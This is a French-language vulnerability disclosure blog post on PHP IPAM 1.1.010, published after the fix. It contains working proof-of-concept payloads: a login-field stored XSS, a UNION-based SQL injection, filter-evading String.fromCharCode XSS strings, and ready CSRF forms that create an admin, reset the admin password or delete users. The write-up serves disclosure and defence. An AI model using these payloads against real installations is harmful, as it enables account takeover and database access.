Skip to content

[XSS, CSRF, SQLi] PHP IPAM version 1.1.010

Passant encore et toujours mon temps libre à la recherche de vulnérabilités, je partage avec vous mes dernières trouvailles.
J’ai récemment eu l’occasion de me pencher sur l’outil PHP Ipam et y ai découvert une jolie collection de vulnérabilités.

PHP Ipam

PHP Ipam est une application web open source écrite en PHP et utilisant MySQL. C’est un outil plutôt pratique dans le milieu professionnel car il fournit une interface et différents outils permettant de gérer les adresses IP et plages d’adresses IP au sein d’un système d’information. Voici un aperçu :

Il est vrai qu’il est souvent casse-tête de trouver une manière de gérer ses IP, et c’est d’autant plus le cas lorsque l’on travaille dans une grande entreprise, avec plusieurs administrateurs, etc.

D’après ce que j’ai pu voir dans les commentaires du projet et sur le net, l’outil est beaucoup utilisé, notamment parce qu’il n’y a pas, ou peu, d’outils similaires au format application web. Une bonne chose que de contribuer à la sécurité de cet outil donc !

Pour vous faire un rapide aperçu des failles découvertes :

  • 1 SQL Injection
  • 3 CSRF
  • 1 Stored XSS
  • 1 Reflected XSS

L’outil s’utilise avec deux types de permission, « administrateur » et « utilisateur ». Il est également possible de mettre en place un self-service sans authentification qui permet de remplir un formulaire afin de demander la réservation d’une adresse IP.
C’est parti pour les détails techniques !

Proof of Concept n°1 – Stored XSS sans authentification

La première faille de sécurité dont j’aimerais vous parler est assez intéressante dans son exploitation. Nous allons ici profiter du fait que les tentatives de connexion, fructueuses et infructueuses soient loggées (enregistrées dans la base de données), ce qui est initialement une bonne chose.

En effet, le fait de logguer les tentatives de connexion va permettre à l’administrateur de voir si des visiteurs tentent de passer en force en essayant différents mots de passe. Notons d’ailleurs qu’une protection intégrée à PHP Ipam semble bloquer un visiteurs après X tentatives infructueuses.

Voici à quoi ressemble la fenêtre d’authentification après un échec :
php-ipam-multiple-vulnerabilities-04Coté administrateur,  les logs peuvent être trouvés via « Administration » puis « Log files« , voici à quoi ils ressemblent :
php-ipam-multiple-vulnerabilities-03Nous pouvons ici voir des tentatives réussies et des tentatives échouées. Comme vous pouvez le voir, le nom de l’utilisateur est directement inclus dans la fenêtre de log. Que ce passe-t-il si un utilisateur essai un login contenant des balises HTML ? :

Nous pouvons ici voir que la balise HTML n’est pas supprimée, mais encore mieux, elle est interprétée lors de l’affichage des logs dans le navigateur, et avec la session de l’administrateur. Essayons maintenant avec du code JavaScript :
php-ipam-multiple-vulnerabilities-06 Visiblement, un code JavaScript vérifie le contenu de notre champ « Username » avant envoie et refuse toute entrée contenant un espace. Cela est gênant, mais peu efficace en terme de sécurité puisqu’un « alert(1) » passe sans problème :

Pour vous montrer que l’on peut exploiter cette faille avec un payload plus efficace :

Ici, j’ai utilisé la fonction « eval » qui permet d’interpréter le code fourni, et j’ai fourni à eval un ensemble de caractères encodés avec String.fromCharCode(). L’instruction encodée était ici alert(« 1 2 »). Nous voyons donc bien ici que l’alerte JavaScript contient un espace.

Il est à noter que par défaut, les dernières lignes de logs sont affichées sur la page d’accueil de l’administrateur, exécutant par la même occasion le code JavaScript injecté.

Nous pouvons ici voir qu’un visiteur, qui ne possède pas de compte valide, peut injecter des données, et même du code HTML/Javascript directement à la vue de l’administrateur. Cela est assez dangereux car les possibilités du JavaScript sont nombreuses et en font un langage très puissant. Nous pouvons pas exemple, en JavaScript, voler les cookies de connexion de l’administrateur, lui afficher une fausse page, lui faire exécuter d’autres actions, le rediriger vers une autre page, etc…

Proof of Concept n°2 – SQL Injection

La seconde faille est une faille de type SQL injection, ici, il faut disposer d’un compte valide avec les permissions « utilisateur » ou « administrateur » pour l’exploiter. Nous passons ici par le formulaire de recherche pour modifier la requête SQL alors générée. Il faut savoir que dans PHP Ipam, deux formulaires de recherche existent :

  • Le premier est présent sur toutes les pages, en haut à droite, et possède quelques protections basiques dont nous parlerons plus tard
  • Le second apparaît dans la page affichant les résultats d’une recherche initiale

Les voici :

Dans le cadre de l’exploitation de notre SQLi, il faut passer par le formulaire de recherche qui apparaît dans la page de résultat. La requête suivante permet d’afficher l’utilisateur courant dans la cinquième colonne de résultat :

1" UNION SELECT 1,2,3,4,user(),6,7,8,9,10,11,12,13,14,15#

Voici le résultat obtenu :
php-ipam-multiple-vulnerabilities-10
Les impacts d’une SQLi peuvent être extrêmement sévères, on peut d’ailleurs noter que dans son fichier d’installation, l’éditeur ne conseille pas de créer un utilisateur dédié à PHP Ipam et fournit des lignes de commande MySQL à utiliser avec « root » en utilisateur pour la gestion de la base de données.

Proof of Concept n°3 – Reflected XSS

Passons maintenant à une faille de type XSS, réfléchie cette fois-ci. Ici, la faille XSS ne sera exécutable que pour un utilisateur ou un administrateur authentifié puisque c’est le formulaire de recherche qui est visé.

En fait, les deux formulaires de recherche sont vulnérables : celui en haut de chaque page et celui affiché sur la page de résultat.

Pour le formulaire présent en haut chaque page, celui-ci est légèrement protégé contre les payloads basiques par la suppression des balises HTML. Il faut donc passer par des événements plus spécifiques, tel que le « onmouseover« , par exemple avec le payload suivant :

ABC" onmouseover=alert('Reflected XSS') name="A

La présence d’apostrophes et de guillemets pose problème à l’intérieur du payload XSS, on passe donc par un encodage avec String.fromCharCode, comme déjà fait précédemment :

ABC" onmouseover=eval(String.fromCharCode(97,108,101,114,116,40,34,82,101,102,108,101,99,116,101,100,32,88,83,83,34,41)) title="A

Voici le résultat, et la vue dans le code source :

Ce code JavaScript va donc s’exécuter lorsque le visiteur passera son curseur au dessus du formulaire de recherche, ce qui n’est pas si rare.

Pour information, le second formulaire de recherche est vulnérable de la même façon, il suffit de remplacer la guillemet par une apostrophe.

Proof of Concept n°4 – CSRF pour la création d’un utilisateur

Nous passons maintenant à un nouveau type de vulnérabilité, les CSRF. La première concerne la possibilité de faire créer un utilisateur très facilement, il suffit pour cela d’inciter un utilisateur possédant les droits admin à exécuter une requête spécifiquement forgée.
Voici la requête à générer :

REQUETE]
http://server/phpipam/site/admin/usersEditResult.php
POSTDATA]
real_name=user2&username=user2&email=user2%40user1.fr&role=Administrator&userId=&action=add&domainUser=0&password1=password123&password2=password123&lang=3&notifyUser=on&mailNotify=No&mailChangelog=No&group3=on&group2=on

Ici, un utilisateur nommé « user2 » sera créé avec les paramètres passés. Également, un exemple de code pour piéger un administrateur :

<form method=post action=http://192.168.1.21/phpipam/site/admin/usersEditResult.php>
        <input type=hidden name=real_name value=user123>
        <input type=hidden name=username value=user123>
        <input type=hidden name=email value="user123@okok.fr">
        <input type=hidden name=role value=Administrator><!-- Here, we give Administrator permission -->
        <input type=hidden name=action value=add><!-- Here, we add a user-->
        <input type=hidden name=domainUser value=user123>
        <input type=hidden name=password1 value=password123><!-- > 8 characters-->
        <input type=hidden name=password2 value=password123><!-- > 8 characters-->
        <input type=hidden name=lang value=3>
        <input type=hidden name=notifyUser value=off>
        <input type=hidden name=mailNotify value=No>
        <input type=hidden name=mailChangelog value=no>
        <input type=submit value="Click here, it's awesome !">
</form>

Pour ceux qui souhaitent plus de détail à propos des CSRF, je vous oriente vers mon article DVWA dans lequel je détail un peu plus leur impact et leur fonctionnement  : https://ogma-sec.fr/en/dvwa-csrf-file-inclusion-solutions-explications-protections/

Pour faire simple, une faille CSRF est détectée et exploitable lorsqu’une action est faisable simplement en envoyant les bons paramètres à la bonne page. Le dernier élément permettant l’exécution de l’action souhaitée est qu’elle doit être exécutée par une personne possédant les droits nécessaires. Je ne pourrais pas créer d’utilisateur sur PHP Ipam si je ne suis pas authentifié en tant qu’administrateur, en revanche si l’administrateur exécute exactement la même requête que moi, alors que lui est authentifié, celle-ci sera acceptée par l’application web. Nous allons donc forcer l’administrateur à exécuter une requête.

Au travers cette faille, et en piégeant un administrateur, on peut facilement lui faire créer un utilisateur, voir un administrateur. Cela dépend simplement de la valeur du paramètre « role » passé lors de la création.

Proof of Concept n°5 : CSRF sur la modification des attributs utilisateur

La modification des utilisateurs est également vulnérable aux attaques CSRF. Il est alors possible, par exemple, de modifier l’adresse ou le mail d’un utilisateur, et également son mot de passe. Un utilisateur ne possédant pas de compte pourra alors faire exécuter une requête changeant le mot de passe de l’administrateur pour ensuite se connecter avec. Ceci n’est qu’un des exemples de ce qu’il est possible de faire avec cette vulnérabilité. Voici la requête à générer :

REQUEST]
http://server/phpipam/site/admin/usersEditResult.php
DATA]
POSTDATA=real_name=phpIPAM+Admin&username=Admin&email=admin%40domain.local&role=Administrator&userId=1&action=edit&domainUser=0&password1=password123&password2=password123&lang=1&mailNotify=No&mailChangelog=

Également, un exemple de code pour piéger un administrateur :

<form method=post action=http://server/phpipam/site/admin/usersEditResult.php>
        <input type=hidden name=real_name value=AdminModified>
        <input type=hidden name=username value=Admin><!-- we can change username -->
        <input type=hidden name=userId value=1><!-- This attribute must match with targeted user -->
        <input type=hidden name=email value="adminmodified@okok.fr"> <!-- we can change affected email-->
        <input type=hidden name=role value=Administrator><!-- we can change a user permission -->
        <input type=hidden name=action value=edit><!-- Here, we edit a user-->
        <input type=hidden name=domainUser value=user123>
        <input type=hidden name=password1 value=password123><!-- we can change password-->
        <input type=hidden name=password2 value=password123>
        <input type=hidden name=lang value=3>
        <input type=hidden name=notifyUser value=off>
        <input type=hidden name=mailNotify value=No>
        <input type=hidden name=mailChangelog value=no>
        <input type=submit value="Click here, it's awesome !">
</form>

Dans notre cas, l’identification d’un utilisateur se fait via un numéro (champ « userId« ). Bien qu’il puisse être compliqué de viser dès la première tentative un utilisateur déjà créé, le premier utilisateur « userId=1 » sera très certainement le premier administrateur créé, qui est en plus une cible privilégiée.

Proof of Concept n°6 : CSRF sur la suppression des utilisateurs

Une dernière faille de sécurité, CSRF également, concerne la possibilité de supprimer un utilisateur. Il est en effet possible, en générant la requête suivante, de forcer un administrateur à supprimer un utilisateur, ici aussi identifié via un numéro d’identification :

[REQUEST]
http://server/phpipam/site/admin/usersEditPrint.php
[POSTDATA]
id=2&action=delete

Voici un formulaire qui génère la requête adéquate :

<form method=post action=http://192.168.1.21/phpipam/site/admin/usersEditResult.php>
        <input type=hidden name=userId value=1>
        <input type=hidden name=action value=delete>
        <input type=submit value="Click here, it's awesome !">
</form>

Ici, ce sera donc l’utilisateur possédant l’identifiant « 1 » qui sera supprimée.

Vidéo Poc

Voici une vidéo réalisée par mes soins, elle illustre l’exploitation de ces différentes failles de sécurité dans un environnement de démo.

Correction

La parution de cet article fait suite à la correction de ces différentes vulnérabilités, pour ceux qui utilisent PHP Ipam, je vois encourage à passer à la version 1.2 de projet, toujours en Beta.

Advisory : https://packetstormsecurity.com/files/135124/phpipam-xssxsrfsql.txt
Voici le lien du projet : PHP IPAM

Partager :
Published inAdvisory et Contributions

One Comment

  1. Comment ai-je pu ne pas m’en apercevoir de toutes ces failles. Certes, j’ai déjà quelques unes d’entre elles mais nombreuses sont celles qui m’ont échappé. Merci pour ce partage de trouvaille.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *